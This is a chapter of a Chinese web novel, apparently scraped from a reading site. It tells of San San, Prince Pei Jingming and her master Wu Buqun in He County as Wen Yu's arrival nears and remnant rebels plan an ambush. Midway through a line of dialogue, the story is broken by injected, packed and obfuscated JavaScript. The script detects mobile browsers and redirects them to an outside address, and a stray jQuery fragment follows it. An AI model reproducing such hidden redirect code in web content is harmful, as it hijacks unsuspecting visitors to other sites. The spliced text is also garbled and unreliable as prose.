裴景明虽然看起来挺瘦弱的,可手一搭上武不群肩膀,稍微使点劲就把人给拎了起来,扛是能扛动,可太费力了,武不群体格也不小,思忖片刻后,裴景明决定还是拖着人回去。
他一手绕过醉鬼的肩膀,一手搭在自己身上,转个身就往门外去,三三手里抱着鸿铭,颠颠地跟在他身后,本来还以为武不群是装醉,结果这人一路上都没有睁开过眼,三三这才相信他是真醉了。
裴景明将人甩上床榻之后累得不行,但三三还在一边,他硬是若无其事地整了整衣摆,看着三三忙前忙后,还自觉地腾出了位置,跟随的视线里写满了忙完了就快点道谢几个大字。
三三拉过被子给武不群盖好,又将鸿铭搁在床边,拍了拍手才回过身跟裴景明道谢。
而后者面上带笑,丝毫不以为意,仿佛只是件小事,十分满意地出去了。
武不群已经睡死过去了,要不要留下帮忙的事情也只能等明日再询问他的意见了。
三三出去将门关好,准备再隔壁寻个空房歇下,没成想刚一拐角就被裴景明吓了一跳。
“你要死啊!为什么在这里吓我!!?”三三本就是个易受惊的体质,虽然平日里看着十分大胆,可只有她自己知道,她胆小得要死。
裴景明脑袋靠在门上,被三三的惊喊也吓了一跳:“我没想吓你,我只是一回去就被他俩拉着喝酒,只能出来了,刚停在这里没多久。”
三三闭了闭眼,试图压下情绪,缓了好一会才哦了一声,旋即头也不回地往另一边去找空房了。
裴景明也跟了上去。
“姑娘要找空房吗?”
三三不理他,这人怎么跟在东京城里一点都不一样?不是挺高冷的吗?
“嗯。”
裴景明将人叫住,拍了拍面前的房间:“这间如何?”
三三停下脚步,裴景明立即伸手推开了门。
瞧着挺干净的,床榻被褥一应俱全,桌上还有茶水,三三探手摸了一下壶身,发现竟然是温热的。
这间房,原本是给裴景明安排的吧。
三三收回手:“这房挺好,但种种布置表明这房是给王爷准备的,我还是另寻他处吧。”
裴景明见她要出门,伸手隔空横腰拦了一下:“诶,姑娘,这房虽然是为我准备的,可我今夜有事,不住这,所以这房给你住也算物尽其用了。”
三三可不信天上有白掉的馅饼,她狐疑地打量着对方:“你又想和我谈什么合作?”
裴景明弯了弯唇:“没有合作,单纯就是想让这好不容易收拾出来的房子能有人住。”
他话里话外一片坦荡,三三却想起了之前他说的留下帮忙。
“你该不会想用这间房来换我留下帮你收拾鹤县吧?”
裴景明忍不住笑出声:“真不是,况且,就算我不请求姑娘留下,姑娘明日依旧会留下。”
“??什么意思?”三三眼眸紧紧盯着对方,视线之凌厉仿佛要把裴景明的脸原地开花,好看清里面究竟埋了什么算计。
裴景明收回手,似笑非笑道:“明日,温毓就要到了。”
温毓到了就到了,关她什么事?虽然二人是表亲,就算温家知道了,可毕竟明面上没有相认。
三三垂下眼眸,裴景明此前就提过温毓要来鹤县,如今再次提起,不得不让三三多想,是试探还是早已确定三三和温家的关系?
“温毓是温将军家的吧?我此前去温将军府上送酒,听闻过温将军有两个公子,可他来不来,与我何干?”三三面色如常道。
裴景明微微低下头,须臾动了下身子往三三靠去,后者像受惊的猫一般一下就拔出了剑横在身前。
“真的没有干系吗?”裴景明低头看见那剑身上倒映着自己的双眸,他错开视线往剑的主人身上看去。
“能有什么——”三三话还没说完,“唰”地一声,剑身被一把推回了剑鞘,裴景明的大手覆在她白皙的手背上,用力按着不让她再次拔剑。
裴景明高她差不多一个头,此时被人如此强势靠近,三三竟然生出了点慌乱。
她下意识眨了眨眼睛,仰起头凶巴巴道:“你干什么?!放手!”
裴景明不仅不放,反而更加用力了,一步一步慢悠悠地继续靠近三三,三三被逼无奈,只好频频后退。
“哐啷”一声,三三腰抵在了那朱红门上。
裴景明趁势,抬起另一只手抵在了三三脑袋旁边的门上,他垂下眼帘,面上依旧是那幅似笑非笑的表情,低声问道:“真的没干系吗?”
三三这下是真恼火了,她用力踹了一下对方的小腿,试图把人给踹开,可裴景明跟铁做的一般,仿佛不知道疼似的,纹丝不动,如同一尊雕像,又高又大,三三抬头除了看他脸还是看他脸。
三三干脆一不做二不休,恶狠狠盯着裴景明那张俊脸,磨了磨牙之后,嘴一张就咬了他撑在门上的胳膊。
裴景明嘶了一声,疼得紧缩眉头,可依旧不肯放手。
三三见状,嘴下更加用力了。
两人就这么无声对峙着,谁也不肯先松手。
约莫过了半盏茶的时间,走廊里传来了一阵乱七八糟的脚步声,三三嘴里咬着对方胳膊不肯松口,睁着大眼瞧廊上来人是谁。七八分醉的唐凌正四处找茅厕,他以为裴景明早就歇下了,没想到竟然在他门前看到了两道人影,他虽然醉了,可也不算醉得没了理智,他七扭八拐地上前:“喂!你们两个干什么呢?!”
三三看清了人,也不怵,继续咬,大有一种你不放开我我绝对不可能先松口的倔强。
裴景明感觉被人叼住的那块肉已经麻痹了,压根脱离了他的胳膊,他垂着头,商量道:“这样,我数三个数,我们同时松手如何?”
三三掀起眼皮看他两眼,点了点头。
于是二人十分默契地在第三个数落下时,双双松口松手。
唐凌早已认出了他二人,但偏要借着装醉来搞事:“王爷,你跟三三姑娘大半夜的在门口做什么呢?”
三三望了望天,这才天黑没多久,算哪门子的大半夜?
不跟醉鬼一般计较。
裴景明拉起袖子,见那牙印十分之清晰深刻,一时之间又气又好笑:“姑娘真是伶牙俐齿啊。”
三三龇了龇牙,表示再惹我下次肯定让你见血。
裴景明无奈地笑了笑,率先出门:“天色不早了,姑娘早点歇息吧。”
说罢还十分贴心地帮三三给关好了门,唐凌就站在门口,亲眼目睹了裴景明变化莫测的脸色,心头大骇,这是被人给夺舍了?以前那些贵女小姐看都不看一眼,怎么偏偏对这三三如此不同?!
裴景明懒洋洋地扫了他一眼:“醉了就赶紧歇下,明日温毓到之前,务必让冯士威整好底下的人,改收编的收编,该遣回家的遣回家。”
唐凌捂着头,哎哟哎哟个不停,表示自己已经喝醉了,听不清他的交代。
第二日卯时刚过,冯士威就赶着露水重重整顿了底下的人,唐凌感觉自己刚睡下就被人给拎了起来。
冯士威:“唐兄,我这边的人已经整顿得差不多了,待温毓一来便可移交,只是梁荣那边还是一盘散沙,王爷昨日怎么交代的你?”
唐凌躺在床上,胳膊捂着眼,头疼又不耐烦:“说改收编的收编,该遣回家的遣回家。”
冯士威站在床头为难道:“可是梁荣那边的人除了平头老百姓,还有一些是梁荣所谓的兄弟,那些人恐怕……”
唐凌一把坐起了身子,掀开被褥,红着眼睛道:“那就都杀了!”
冯士威也不知道他说的是真的还是气话,赶紧洗了块热帕子递给他:“真假啊?”
唐凌脸上敷着热帕子,热气袅袅敷在脸上格外舒坦,宿醉的头疼缓解了不少,他语气也好了不止一星半点:“当然是假的,我去问问王爷。”
他反手将帕子扔回冯士威身上,蹬着靴子就出门。
“王爷,梁荣的那些兄弟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248716|197864||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎么处理?”唐凌见裴景明的房门大开,便知晓他已经醒了,但一见到裴景明端坐在那喝茶,脑子里就不由自主想起了昨晚见到的场景。
“那些人,交给三三处理。”裴景明轻轻吹了吹手里的茶盏。
唐凌疑惑道:“可是她不是今日就要回东京城了吗?”
裴景明慢悠悠喝了口茶:“温毓再过片刻就到了,冯士威底下的人好处理,可梁荣那边的比较棘手,你觉得她会不会管呢?”
唐凌其实并不知道三三的身份,也没有什么猜想,于是很是直白道:“她为啥要管啊?她就是个普通老百姓啊,虽说拜了江湖第一刀客做师傅,可在江湖上也没有名望,既无官职在身,亦无名声威望,她为啥要自己给自己找事情干啊?”
裴景明没理他,只道让他在城外去等温毓。
唐凌丈二和尚摸不着头脑,倒也没多问,领了命就去城外。
三三打开门,闭上眼用力吸了下空气,结果一睁眼就被裴景明给吓了一跳。
她扶着门上的手霎时收了回来,恶狠狠警告道:“王爷,你再这样无声无息吓我,下次定会被我打得屁滚尿流!”
裴景明其实站在廊上,与那朱门隔了一段距离,他实在想不明白这怎么又想到了她。
“姑娘早啊,你师傅已经醒了,正在一楼吃早饭呢,一起下去吗?”
三三将门关好,昨晚入睡前她翻来覆去想了好几遍,从他往日的话语、动作中逐步推断出,裴景明应当是基于她的长相进而怀疑她跟温家有关系,而温家子嗣并不多,所以他应当是怀疑她是温将军妹妹的孩子。
三三入睡时便打定了主意,今日不论裴景明说什么,务必要离开鹤县。
“好,走吧。”三三点点头。
武不群正忘我地啃着烙饼和肘子,那肘子啃得十分之干净,三三略带嫌弃道:“一大早就吃这么油腻的,不怕闹肚子吗?”
武不群饮了一口茶,摆了摆手:“徒儿你这就不懂了,今日我们要回东京城,路上肯定没什么好吃的,当然要趁这一顿吃点好的啦。”
“……之前吃饼的时候你也是这么说的。”三三无语地给自己盛了碗豆浆。
裴景明坐一边,好整以暇地看着师徒俩斗嘴。
武不群给三三拿了好几个肉包搁碗里:“多吃点肉,这两天可是废了劲了。”
“……好。”
裴景明剥了个鸡蛋,非常刻意地问道:“武师傅今日就打算回东京城了吗?”
武不群啊了一声:“是啊,我们……”
昨夜他喝醉了,三三压根没来得及跟他串口供,当即一把踩住了武不群的脚:“我们亲戚都不在这,自然是要回去了,说不定她已经去东京城找我们了。”
武不群脸色几变,愣是接了句:“是啊是啊。”
裴景明哦了一声,慢条斯理、十分优雅地吃鸡蛋,待完整咽下后才继续道:“温毓已经到城门了,冯士威今早去整顿下边人,等会就可以交接了。”
“不过冯士威说,梁荣还有好几个兄弟,誓死不肯归顺,冯士威无法,只好回来了。”裴景明像是无意说起,可在场的人都心知肚明,他是故意的。
“如此,温毓就得自己率兵去杀敌了。”
三三盯着碗里的豆浆,没说话。
所谓的好兄弟,大概率就是前朝臣子,他们不一定认得温毓,但一定能凭着那张脸认出温毓的身份。
此番前来鹤县就是为了收拾梁荣这些前朝旧臣,眼下梁荣死了,那剩下那些人怎么办?任由温毓杀了吗?
三三借着给武不群拿鸡蛋的动作看了一眼自家师傅,见武不群什么都没说,心下也没了主意。
她泄了口气,索性直接让温毓一并收拾了算了,反正都不听她的,留着也是祸害。
她刚把鸡蛋放下,冯士威便火急火燎地冲了进来,连大气都没喘顺就急切道:“王爷!不好了!梁荣的那些兄弟不知道从哪里得来的消息,在城外三里处埋伏了温毓!”